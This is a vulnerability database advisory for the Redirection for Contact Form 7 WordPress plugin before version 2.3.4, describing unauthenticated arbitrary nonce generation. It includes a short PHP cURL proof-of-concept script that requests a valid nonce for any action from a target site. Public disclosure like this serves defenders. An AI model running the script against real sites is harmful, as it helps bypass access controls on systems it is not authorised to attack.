WordPress Plugin Vulnerabilities
Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation
Description
In the plugin, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
Proof of Concept
<?php // Settings $wp_url = $argv[1]; // Get nonce $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php'); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'action' => 'wpcf7r_get_nonce', 'param' => '[ANY ACTION HERE]' ]); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
Affects Plugins
References
Classification
Type
ACCESS CONTROLS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Chloe Chamberland
Submitter
Chloe Chamberland
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-04-20 (about 3 years ago)
Added
2021-04-20 (about 3 years ago)
Last Updated
2021-04-21 (about 3 years ago)